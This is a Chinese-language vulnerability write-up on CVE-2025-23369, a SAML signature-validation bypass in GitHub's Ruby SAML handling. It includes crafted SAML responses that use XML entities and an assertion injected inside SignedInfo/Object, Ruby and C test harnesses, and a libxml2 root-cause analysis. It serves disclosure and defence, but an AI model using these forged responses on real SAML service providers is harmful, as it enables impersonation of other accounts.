去年,GitHub 针对影响其 SAML 身份验证实施的问题发布了一些 CVE,例如,您可以在 ProjectDiscovery 博客上阅读有关 CVE-2024-4985/CVE-2024-948 的信息。我决定查看一下,也许还存在一些问题。这导致了 CVE-2025-23369 的发现,这是一个 SAML 验证绕过问题,它允许经过 SAML 身份验证的用户绕过其他帐户的身份验证。
SAML 入门
SAML 的工作方式与 oauth2/OpenID 非常相似,用户向 IdP 进行身份验证,IdP 向服务提供商返回访问令牌,然后使用该令牌通过某些受保护的 IdP 端点访问用户身份。另一方面,SAML 不返回访问令牌,而是返回带有用户属性(电子邮件、姓名等)的响应对象。以下是 SAML 响应的示例:
<?xml version="1.0"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="pfx577f9dc6-42bf-b9ba-27d8-a5f9fa8fad9b" Version="2.0" IssueInstant="2014-07-17T01:01:48Z" Destination="http://sp.example.com/demo1/index.php?acs" InResponseTo="ONELOGIN_4fee3b046395c4e751011e97f8900b5273d56685">
<saml:Issuer>http://idp.example.com/metadata.php</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
<ds:Reference URI="#pfx577f9dc6-42bf-b9ba-27d8-a5f9fa8fad9b"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><ds:DigestValue>xeANAiB+fMHC0Lgov5lDi4UPDqk=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>ra8t31DARCSl2weKKSqmCXkTxALzPqIU/uivuPWrmZqYgpKAPk48sSObm7VkwCeb63DrvCJnhbEiEU1Ly63dL9Kz3x3iMclUa0S5+CrhcSV94XreEx3KcY6D/sA+nnyVd1ULPCBCShMf64MYwgniezWWsy//iAD1lK3wLKy7uLw=</ds:SignatureValue>
<ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIICajCCAdOgAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJ1czETMBEGA1UECAwKQ2FsaWZvcm5pYTEVMBMGA1UECgwMT25lbG9naW4gSW5jMRcwFQYDVQQDDA5zcC5leGFtcGxlLmNvbTAeFw0xNDA3MTcxNDEyNTZaFw0xNTA3MTcxNDEyNTZaMFIxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMRUwEwYDVQQKDAxPbmVsb2dpbiBJbmMxFzAVBgNVBAMMDnNwLmV4YW1wbGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDZx+ON4IUoIWxgukTb1tOiX3bMYzYQiwWPUNMp+Fq82xoNogso2bykZG0yiJm5o8zv/sd6pGouayMgkx/2FSOdc36T0jGbCHuRSbtia0PEzNIRtmViMrt3AeoWBidRXmZsxCNLwgIV6dn2WpuE5Az0bHgpZnQxTKFek0BMKU/d8wIDAQABo1AwTjAdBgNVHQ4EFgQUGHxYqZYyX7cTxKVODVgZwSTdCnwwHwYDVR0jBBgwFoAUGHxYqZYyX7cTxKVODVgZwSTdCnwwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQByFOl+hMFICbd3DJfnp2Rgd/dqttsZG/tyhILWvErbio/DEe98mXpowhTkC04ENprOyXi7ZbUqiicF89uAGyt1oqgTUCD1VsLahqIcmrzgumNyTwLGWo17WDAa1/usDhetWAMhgzF/Cnf5ek0nK00m0YZGyc4LzgD0CROMASTWNg==</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="pfx0dc1f020-3fa4-fa8c-17c6-b1d9582401d1" Version="2.0" IssueInstant="2014-07-17T01:01:48Z">
<saml:Issuer>http://idp.example.com/metadata.php</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
<ds:Reference URI="#pfx0dc1f020-3fa4-fa8c-17c6-b1d9582401d1"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><ds:DigestValue>/qU1zv7GdHocY1JgnyHyKyQrC4w=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>WuqrYfX9+rKdoLcvPlLPozhc3GQmD/FYjftSdrKyrXBX6AFcTYQnr7u0lqEKt97IFzV0D/BwFDHmgqmHiq0VfAKmeM1ITqb4mSUjLW5+SE7wdp1hsM+W4kqsCAMhZrLIn2noyV/Gy4Ig9miRDFVezHsBVcRDrd8zMmBYUBFCspI=</ds:SignatureValue>
<ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIICajCCAdOgAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJ1czETMBEGA1UECAwKQ2FsaWZvcm5pYTEVMBMGA1UECgwMT25lbG9naW4gSW5jMRcwFQYDVQQDDA5zcC5leGFtcGxlLmNvbTAeFw0xNDA3MTcxNDEyNTZaFw0xNTA3MTcxNDEyNTZaMFIxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMRUwEwYDVQQKDAxPbmVsb2dpbiBJbmMxFzAVBgNVBAMMDnNwLmV4YW1wbGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDZx+ON4IUoIWxgukTb1tOiX3bMYzYQiwWPUNMp+Fq82xoNogso2bykZG0yiJm5o8zv/sd6pGouayMgkx/2FSOdc36T0jGbCHuRSbtia0PEzNIRtmViMrt3AeoWBidRXmZsxCNLwgIV6dn2WpuE5Az0bHgpZnQxTKFek0BMKU/d8wIDAQABo1AwTjAdBgNVHQ4EFgQUGHxYqZYyX7cTxKVODVgZwSTdCnwwHwYDVR0jBBgwFoAUGHxYqZYyX7cTxKVODVgZwSTdCnwwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQByFOl+hMFICbd3DJfnp2Rgd/dqttsZG/tyhILWvErbio/DEe98mXpowhTkC04ENprOyXi7ZbUqiicF89uAGyt1oqgTUCD1VsLahqIcmrzgumNyTwLGWo17WDAa1/usDhetWAMhgzF/Cnf5ek0nK00m0YZGyc4LzgD0CROMASTWNg==</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature>
<saml:Subject>
<saml:NameID SPNameQualifier="http://sp.example.com/demo1/metadata.php" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient">test@example.com</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2024-01-18T06:21:48Z" Recipient="http://sp.example.com/demo1/index.php?acs" InResponseTo="ONELOGIN_4fee3b046395c4e751011e97f8900b5273d56685"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2014-07-17T01:01:18Z" NotOnOrAfter="2024-01-18T06:21:48Z">
<saml:AudienceRestriction>
<saml:Audience>http://sp.example.com/demo1/metadata.php</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2014-07-17T01:01:48Z" SessionNotOnOrAfter="2024-07-17T09:01:48Z" SessionIndex="_be9967abd904ddcae3c0eb4189adbe3f71e327cf93">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute Name="uid" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue xsi:type="xs:string">test</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="mail" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue xsi:type="xs:string">test@example.com</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="eduPersonAffiliation" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue xsi:type="xs:string">users</saml:AttributeValue>
<saml:AttributeValue xsi:type="xs:string">examplerole1</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
Response包含一个Assertion ,该Assertion包含经过身份验证的用户属性,NameID 元素通常用于识别经过身份验证的用户(电子邮件、用户 ID 等)。使用 Signature元素保护响应免遭篡改,该元素在DigestValue元素中包含其引用的元素(Response / Assertion) 的哈希值,然后由 IdP 对SignedInfo元素 进行签名,并将签名存储在 SignatureValue 中,因此对受保护元素的任何篡改都会导致DigestValue不正确,而对DigestValue的任何篡改都会导致SignatureValue不正确。
GitHub SAML 验证
从 POST 请求构建 SAML 响应后,将调用 #validate 来验证它。
def validate(options)
if !SAML.mocked[:skip_validate_signature]
validate_has_signature
validate_certificate(options[:idp_certificate]) if certificate_expiration_check_enabled?
validate_assertion_digest_values
if GitHub.enterprise? && GitHub.saml_encrypted_assertions?
validate_signatures_ghes(options[:idp_certificate])
else
validate_signatures(options[:idp_certificate])
end
# Stop validation early when signature validation fails
return if self.errors.any?
end
validate_has_assertion unless SAML.mocked[:skip_validate_has_assertion]
validate_issuer(options[:issuer])
validate_destination(options[:sp_url])
validate_recipient(options[:sp_url])
validate_conditions
validate_audience(audience_url(options[:sp_url]))
validate_name_id_format(options[:name_id_format])
validate_administrator(options[:require_admin])
has_multiple_assertions = document.xpath("//saml2:Assertion", namespaces).count > 1
has_errors = !self.errors.empty?
has_root_sig = has_root_sig_and_matching_ref?
GitHub.dogstats.increment(
"external_identities.saml.assertions",
tags: [
"has_multiple_assertions:#{has_multiple_assertions}",
"has_errors:#{has_errors}",
"has_root_sig:#{has_root_sig}"
]
)
end
签名检查通过以下方式完成:#validate_has_signature、#validate_assertion_digest_values、#validate_signatures。
def has_root_sig_and_matching_ref?
root_ref = document.at("/saml2p:Response/ds:Signature/ds:SignedInfo/ds:Reference", namespaces)
return false unless root_ref
root_ref_uri = String(String(root_ref["URI"])[1..-1]) # chop off leading #
return false unless root_ref_uri.length > 1
root_rep = document.at("/saml2p:Response", namespaces)
root_id = String(root_rep["ID"])
# and finally does the root ref URI match the root ID?
root_ref_uri == root_id
end
def self.signatures(doc)
signatures = doc.xpath("//ds:Signature", Xmldsig::NAMESPACES)
signatures.reverse.collect do |node|
Xmldsig::Signature.new(node)
end || []
end
def all_assertion_digests_valid?
# if there is a root sig, that will be validated by Xmldsig separately
return true if has_root_sig_and_matching_ref?
# note that we need to copy the doc here because we're going to modify it
assertions = document.dup.xpath("//saml2:Assertion", namespaces)
assertions.all? do |assertion|
signature_ref = assertion.at("./ds:Signature/ds:SignedInfo/ds:Reference", namespaces)
return false unless signature_ref
assertion_id = String(assertion["ID"])
ref_uri = String(String(signature_ref["URI"])[1..-1]) # chop off leading #
return false unless ref_uri.length > 1
return false unless assertion_id == ref_uri
xml_signature_ref = Xmldsig::Reference.new(signature_ref)
actual_digest = xml_signature_ref.digest_value
calculated_digest = calculate_assertion_digest(assertion, xml_signature_ref)
digest_valid = calculated_digest == actual_digest
digest_valid
end
end
def validate_has_signature
# Return early if entire response is signed. This prevents individual
# assertions from being tampered because any change in the response
# would invalidate the entire response.
return if has_root_sig_and_matching_ref?
return if all_assertions_signed_with_matching_ref?
self.errors << "SAML Response is not signed or has been modified."
end
def validate_assertion_digest_values
return if all_assertion_digests_valid?
self.errors << "SAML Response has been modified."
end
def validate_signatures(raw_cert)
unless raw_cert
self.errors << "No Certificate"
return
end
certificate = OpenSSL::X509::Certificate.new(raw_cert)
unless signatures.all? { |signature| signature.valid?(certificate) }
self.errors << "Digest mismatch"
end
rescue Xmldsig::SchemaError => e
self.errors << "Invalid signature"
rescue OpenSSL::X509::CertificateError => e
self.errors << "Certificate error: '#{e.message}'"
end
代码正在使用#has_root_sig_and_matching_ref?进行快速检查, 并在#validate_has_signature和#validate_assertion_digests_values中尽早返回,快速检查本身是有意义的,因为如果根元素(Response)具有签名,那么检查子元素(Assertion)的完整性是浪费的。之后调用#validate_signatures,它使用xmldsig 库来验证在 XML 文档中找到的所有签名。
def has_root_sig_and_matching_ref?
return true if SAML.mocked[:mock_root_sig]
root_ref = document.at("/saml2p:Response/ds:Signature/ds:SignedInfo/ds:Reference", namespaces)
return false unless root_ref
root_ref_uri = String(String(root_ref["URI"])[1..-1]) # chop off leading #
return false unless root_ref_uri.length > 1
root_rep = document.at("/saml2p:Response", namespaces)
root_id = String(root_rep["ID"])
# and finally does the root ref URI match the root ID?
root_ref_uri == root_id
end
#has_root_sig_and_matching_ref?非常简单,它选择Response元素下的Signature元素,并通过将其ID属性与签名引用的URI进行比较来检查它是否实际引用了根元素。
当 调用 signature.valid? 时,内部调用#referenced_node 来查找签名引用的元素。它使用 XPath 查询将 文档上每个元素的ID 属性与签名的参考 URI 进行比较。
def referenced_node
if reference_uri && reference_uri != ""
if @id_attr.nil? && reference_uri.start_with?("cid:")
content_id = reference_uri[4..-1]
if @referenced_documents.has_key?(content_id)
@referenced_documents[content_id].dup
else
raise(
ReferencedNodeNotFound,
"Could not find referenced document with ContentId #{content_id}"
)
end
else
id = reference_uri[1..-1]
referenced_node_xpath = @id_attr ? "//*[@#{@id_attr}=$uri]" : "//*[@ID=$uri or @wsu:Id=$uri]"
variable_bindings = { 'uri' => id }
if ref = document.dup.at_xpath(referenced_node_xpath, NAMESPACES, variable_bindings)
ref
else
raise(
ReferencedNodeNotFound,
"Could not find the referenced node #{id}'"
)
end
end
else
document.dup.root
end
end
因为这将验证 XPath 查询返回的任何元素的签名,所以如果 #has_root_sig_and_matching_ref? 成功并且 XPath 查询返回一些不是根元素的其他元素,则可以绕过 SAML 验证。
旁路
我从一个最小测试用例开始,并遵循原始代码所具有的约束:
require 'nokogiri'
xml = <<-XML
<?xml version="1.0"?>
<samlp:Response ID="_129">
<saml:Assertion ID="_129">http://idp.example.com/metadata.php</saml:Assertion>
</samlp:Response>
XML
doc = Nokogiri::XML(xml)
abort "root id is not correct" unless doc.root['ID'] == "_129"
book = doc.xpath('//*[@ID=$uri or @wsu:Id=$uri]', {"wsu": "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"}, {"uri": "_129"})
puts book[0]
上述代码中的 XPath 查询按预期返回了Response元素。经过一些手动模糊测试后,我开始使用 XML 实体进行测试, 此代码返回了Assertion元素,并且根 ID 是正确的。
require 'nokogiri'
xml = <<-XML
<?xml version="1.0"?>
<!DOCTYPE abcd [ <!ENTITY idViaEntity "_129"> ]>
<samlp:Response ID="&idViaEntity;">
<saml:Assertion ID="_129">http://idp.example.com/metadata.php</saml:Assertion>
</samlp:Response>
XML
doc = Nokogiri::XML(xml)
abort "root id is not correct" unless doc.root['ID'] == "_129"
book = doc.xpath('//*[@ID=$uri or @wsu:Id=$uri]', {"wsu": "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"}, {"uri": "_129"})
puts book[0]
利用这种不一致,我们可以让 #referenced_node将 我们的任意元素误认为是根元素,我很快将其放入测试中,我提取了SAML库并使用以下代码调用它:
require './saml'
require './saml/message'
require 'base64'
require 'time'
require 'cgi'
r = File.read("samlresponse").strip
r = SAML::Message.from_param(Base64.encode64(r))
valid = r.valid?(:idp_certificate =><<END
-----BEGIN CERTIFICATE-----
[...]
-----END CERTIFICATE-----
END
)
puts "Valid? #{valid}"
puts "Errors: #{r.errors}" unless valid
puts "NameID: #{r.name_id}" if valid
以下是简化的 SAML 响应:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE abcd [ <!ENTITY idViaEntity "id198723974770096182351422"> ]>
<saml2p:Response
xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:xs="http://www.w3.org/2001/XMLSchema" Destination="https://github.com/enterprises/abc/saml/consume" ID="&idViaEntity;" InResponseTo="_1024a04a4519b1491552b17bf639ded16fd55f1b16837d99f94046b66e25123b" IssueInstant="2024-12-30T21:08:55.894Z" Version="2.0">
<saml2:Issuer
xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">http://www.okta.com/exkm64rrt7jvmlpcX5d7
</saml2:Issuer>
<ds:Signature
xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:Reference URI="#id198723974770096182351422"></ds:Reference>
<Object
xmlns="http://www.w3.org/2000/09/xmldsig#">
<saml2:Assertion
xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" ID="id198723974770096182351422" IssueInstant="2024-12-30T21:08:55.894Z" Version="2.0">
<!-- Injected Assertion -->
<ds:Signature>
<ds:SignedInfo>
<ds:Reference URI="#id198723974770096182351422"></ds:Reference>
</ds:SignedInfo>
</ds:Signature>
</saml2:Assertion>
</Object>
</ds:SignedInfo>
</ds:Signature>
<saml2p:Status
xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol">
<saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</saml2p:Status>
<saml2:Assertion
xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"
xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="id198723974770096182351422ffff" IssueInstant="2024-12-30T21:08:55.894Z" Version="2.0">
<!-- Original Assertion -->
</saml2:Assertion>
</saml2p:Response>
由于ID 属性重复,脚本失败,SAML 代码实际上先验证了 文档 模式,然后才验证文档内容。
经过更多的手动模糊测试后,我最终得到了一个 SAML 响应,它绕过了 ID 唯一性架构验证检查,同时仍然向 XPath 查询返回任意元素,请注意BypassIDUniqness实体:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE abcd [ <!ENTITY idViaEntity "id198723974770096182351422"> <!ENTITY BypassIDUniqness "A"> ]>
<saml2p:Response
xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:xs="http://www.w3.org/2001/XMLSchema" Destination="https://github.com/enterprises/abc/saml/consume" ID="&idViaEntity;" InResponseTo="_1024a04a4519b1491552b17bf639ded16fd55f1b16837d99f94046b66e25123b" IssueInstant="2024-12-30T21:08:55.894Z" Version="2.0">
<saml2:Issuer
xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">http://www.okta.com/exkm64rrt7jvmlpcX5d7
</saml2:Issuer>
<ds:Signature
xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:Reference URI="#id198723974770096182351422"></ds:Reference>
<Object
xmlns="http://www.w3.org/2000/09/xmldsig#">
<saml2:Assertion
xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" ID="&BypassIDUniqness;id198723974770096182351422" IssueInstant="2024-12-30T21:08:55.894Z" Version="2.0">
<!-- Injected Assertion -->
<ds:Signature>
<ds:SignedInfo>
<ds:Reference URI="#id198723974770096182351422"></ds:Reference>
</ds:SignedInfo>
</ds:Signature>
</saml2:Assertion>
</Object>
</ds:SignedInfo>
</ds:Signature>
<saml2p:Status
xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol">
<saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</saml2p:Status>
<saml2:Assertion
xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"
xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="id198723974770096182351422ffff" IssueInstant="2024-12-30T21:08:55.894Z" Version="2.0">
<!-- Original Assertion -->
</saml2:Assertion>
</saml2p:Response>
现在可以使用实际上并不指向根元素的签名来验证 SAML 响应,而是指向我们在 SignedInfo / Object 内注入的断言(我们在这里注入它是因为 Object的架构定义允许其中存在任意元素)。
根本原因分析
这个绕过方法让我有很多疑惑,尽管我们注入的元素 ID 前面有一个A,但 XPath 如何找到它?既然根元素是树中的第一个元素,为什么它一开始就找不到根元素?
为了回答这些问题,我开始寻找根本原因。Nokogiri 在内部使用 libxml2,因此 对于 RCA,我在 ChatGPT 的帮助下 创建了一个最小的 C 测试用例,它使用 Nokogiri 使用的默认选项直接调用 libxml2并模仿 Ruby 代码,并将其链接到本地构建的 libxml2 进行调试。以下是供参考的 C 代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <libxml/parser.h>
#include <libxml/xpath.h>
#include <libxml/xpathInternals.h>
static const xmlChar *NOKOGIRI_PREFIX = (const xmlChar *)"nokogiri";
static const xmlChar *NOKOGIRI_URI = (const xmlChar *)"http://www.nokogiri.org/default_ns/ruby/extensions_functions";
static const xmlChar *NOKOGIRI_BUILTIN_PREFIX = (const xmlChar *)"nokogiri-builtin";
static const xmlChar *NOKOGIRI_BUILTIN_URI = (const xmlChar *)"https://www.nokogiri.org/default_ns/ruby/builtins";
void print_element_info(xmlNode *node) {
if (!node) return;
printf("Element: %sn", node->name);
xmlAttr *attr = node->properties;
while (attr) {
xmlChar *value = xmlNodeListGetString(node->doc, attr->children, 1);
printf(" Attribute: %s = %sn", attr->name, value);
xmlFree(value);
attr = attr->next;
}
printf("n");
}
void search_xpath(xmlDoc *doc, const char *uri) {
xmlXPathContext *xpathCtx = xmlXPathNewContext(doc);
if (!xpathCtx) {
fprintf(stderr, "Error: Unable to create new XPath contextn");
return;
}
xmlXPathRegisterNs(xpathCtx, NOKOGIRI_PREFIX, NOKOGIRI_URI);
xmlXPathRegisterNs(xpathCtx, NOKOGIRI_BUILTIN_PREFIX, NOKOGIRI_BUILTIN_URI);
if (xmlXPathRegisterNs(xpathCtx, (xmlChar *)"wsu", (xmlChar *)"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd") != 0) {
fprintf(stderr, "Error: Failed to register namespace 'wsu' -> 'http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd'n");
return;
}
xmlXPathObject *uriObj = xmlXPathNewString((xmlChar *)uri);
if (xmlXPathRegisterVariable(xpathCtx, (xmlChar *)"uri", uriObj) != 0) {
fprintf(stderr, "Error: Failed to register the variable 'uri'n");
return;
}
char xpathExpr[512];
snprintf(xpathExpr, sizeof(xpathExpr), "//*[@ID=$uri or @wsu:Id=$uri]");
xmlXPathObject *xpathObjResult = xmlXPathEvalExpression((xmlChar *)xpathExpr, xpathCtx);
if (!xpathObjResult) {
fprintf(stderr, "Error: Unable to evaluate XPath expressionn");
return;
}
xmlNodeSet *nodes = xpathObjResult->nodesetval;
if (nodes) {
for (int i = 0; i < nodes->nodeNr; i++) {
print_element_info(nodes->nodeTab[i]);
}
} else {
printf("No matching elements found for URI: %sn", uri);
}
}
int main(int argc, char *argv[]) {
if (argc != 3) {
fprintf(stderr, "Usage: %s <xml_filename> <uri_to_search>n", argv[0]);
return EXIT_FAILURE;
}
const char *filename = argv[1];
const char *uri = argv[2];
xmlDoc *doc = xmlReadFile(filename, NULL, XML_PARSE_RECOVER|XML_PARSE_NONET|XML_PARSE_BIG_LINES|XML_PARSE_NOERROR);
if (!doc) {
fprintf(stderr, "Error: Unable to parse XML file %sn", filename);
return EXIT_FAILURE;
}
xmlNode *root = xmlDocGetRootElement(doc);
if (!root) {
fprintf(stderr, "Error: XML document has no root elementn");
xmlFreeDoc(doc);
return EXIT_FAILURE;
}
xmlChar *idValue = xmlGetProp(root, (const xmlChar *)"ID");
if (idValue) {
printf("Root Element: %sn", root->name);
printf("Root ID Attribute: %snn", idValue);
} else {
printf("Root Element: %sn", root->name);
printf("Root element has no 'ID' attribute.nn");
}
search_xpath(doc, uri);
return EXIT_SUCCESS;
}
将此 XML 文档作为第一个参数,将 _129 作为第二个参数,产生与 Ruby 代码几乎相同的:
<?xml version="1.0"?>
<!DOCTYPE abcd [ <!ENTITY idViaEntity "_129"> ]>
<samlp:Response ID="&idViaEntity;">
<saml:Assertion ID="_129">http://idp.example.com/metadata.php</saml:Assertion>
</samlp:Response>
根元素 ID 是 _129,但 XPath 选择 Assertion 而不是 Response。
经过一些调试后,发现 XPath 找不到响应的原因在于 XPath 引擎在查询中执行比较的方式,这里是负责将潜在的 xml 节点与查询中的字符串参数(在本例中为 _129)进行比较的函数。
static int
xmlXPathEqualNodeSetString(xmlXPathParserContextPtr ctxt,
xmlXPathObjectPtr arg, const xmlChar * str, int neq)
{
int i;
xmlNodeSetPtr ns;
xmlChar *str2;
unsigned int hash;
if ((str == NULL) || (arg == NULL) ||
((arg->type != XPATH_NODESET) && (arg->type != XPATH_XSLT_TREE)))
return (0);
ns = arg->nodesetval;
/*
* A NULL nodeset compared with a string is always false
* (since there is no node equal, and no node not equal)
*/
if ((ns == NULL) || (ns->nodeNr <= 0) )
return (0);
hash = xmlXPathStringHash(str);
for (i = 0; i < ns->nodeNr; i++) {
if (xmlXPathNodeValHash(ns->nodeTab[i]) == hash) {
str2 = xmlNodeGetContent(ns->nodeTab[i]);
if (str2 == NULL) {
xmlXPathPErrMemory(ctxt);
return(0);
}
if (xmlStrEqual(str, str2)) {
xmlFree(str2);
if (neq)
continue;
return (1);
} else if (neq) {
xmlFree(str2);
return (1);
}
xmlFree(str2);
} else if (neq)
return (1);
}
return (0);
}
此函数 - 作为优化 - 首先检查哈希,如果哈希匹配,则将字符串与节点内容(在本例中为 ID 属性值)进行比较。这里是xmlXPathNodeValHash的代码:
static unsigned int
xmlXPathNodeValHash(xmlNodePtr node) {
int len = 2;
const xmlChar * string = NULL;
xmlNodePtr tmp = NULL;
unsigned int ret = 0;
if (node == NULL)
return(0);
if (node->type == XML_DOCUMENT_NODE) {
tmp = xmlDocGetRootElement((xmlDocPtr) node);
if (tmp == NULL)
node = node->children;
else
node = tmp;
if (node == NULL)
return(0);
}
switch (node->type) {
case XML_COMMENT_NODE:
case XML_PI_NODE:
case XML_CDATA_SECTION_NODE:
case XML_TEXT_NODE:
string = node->content;
if (string == NULL)
return(0);
if (string[0] == 0)
return(0);
return(string[0] + (string[1] << 8));
case XML_NAMESPACE_DECL:
string = ((xmlNsPtr)node)->href;
if (string == NULL)
return(0);
if (string[0] == 0)
return(0);
return(string[0] + (string[1] << 8));
case XML_ATTRIBUTE_NODE:
tmp = ((xmlAttrPtr) node)->children;
break;
case XML_ELEMENT_NODE:
tmp = node->children;
break;
default:
return(0);
}
while (tmp != NULL) {
switch (tmp->type) {
case XML_CDATA_SECTION_NODE:
case XML_TEXT_NODE:
string = tmp->content;
break;
default:
string = NULL;
break;
}
if ((string != NULL) && (string[0] != 0)) {
if (len == 1) {
return(ret + (string[0] << 8));
}
if (string[1] == 0) {
len = 1;
ret = string[0];
} else {
return(string[0] + (string[1] << 8));
}
}
/*
* Skip to next node
*/
if ((tmp->children != NULL) &&
(tmp->type != XML_DTD_NODE) &&
(tmp->type != XML_ENTITY_REF_NODE) &&
(tmp->children->type != XML_ENTITY_DECL)) {
tmp = tmp->children;
continue;
}
if (tmp == node)
break;
if (tmp->next != NULL) {
tmp = tmp->next;
continue;
}
do {
tmp = tmp->parent;
if (tmp == NULL)
break;
if (tmp == node) {
tmp = NULL;
break;
}
if (tmp->next != NULL) {
tmp = tmp->next;
break;
}
} while (tmp != NULL);
}
return(ret);
}
散列函数跳过实体引用节点(XML_ENTITY_REF_NODE )并返回 0 ,因此虽然内容匹配,但比较失败(如果 使用XML_PARSE_NOENT则不会发生这种情况,因为实体将在解析阶段被替换,并且不会有引用)
接下来,为什么它会选择第二个断言,尽管它的 ID 前面有一个 A。实际上,使用下面的 XML 文档运行 C 代码时,将找不到断言,因为 C 代码与 Ruby 代码不同,在对文档运行 XPath 之前不会复制文档(请参阅 #referenced_node)。我花了一些时间才弄明白,因为我认为#dup 调用是一个看似无害的函数调用,不会影响结果。
<?xml version="1.0"?>
<!DOCTYPE note [ <!ENTITY idViaEntity "_129"> <!ENTITY BypassIDUniqness "A"> ]>
<samlp:Response ID="&idViaEntity;">
<saml:Assertion ID="&BypassIDUniqness;_129">http://idp.example.com/metadata.php</saml:Assertion>
</samlp:Response>
用 xmlXPathNewContext (xmlCopyDoc(doc, 1))替换 xmlXPathNewContext( doc)以匹配 Nokogiri #dup调用,将使断言在结果中再次弹出。
由于注入元素的ID属性值有next,并且是实体(_129)旁边的文本,因此哈希函数会跳过实体引用并计算文本(_129)的哈希值,从而使哈希值相等。
至于为什么内容不是“A_129”,这是因为 xmlNodeGetContent 期望属性引用具有一定的结构(XML_ENTITY_REF_NODE -children-> XML_ENTITY_DECL -children-> XML_TEXT_NODE),但作为复制文档的一部分,在复制实体时,其 XML_TEXT_NODE 子节点不会被复制,请参阅 xmlCopyEntity。
现在很清楚为什么模式验证看到某些内容而 XPath 看到其他内容,模式验证在文档上运行,而 XPath 在变异的重复文档上运行。
结论
虽然我非常喜欢通过源代码审查进行审计,但这一发现提醒我们,动态测试和模糊测试对于发现代码假设不成立的边缘情况至关重要。
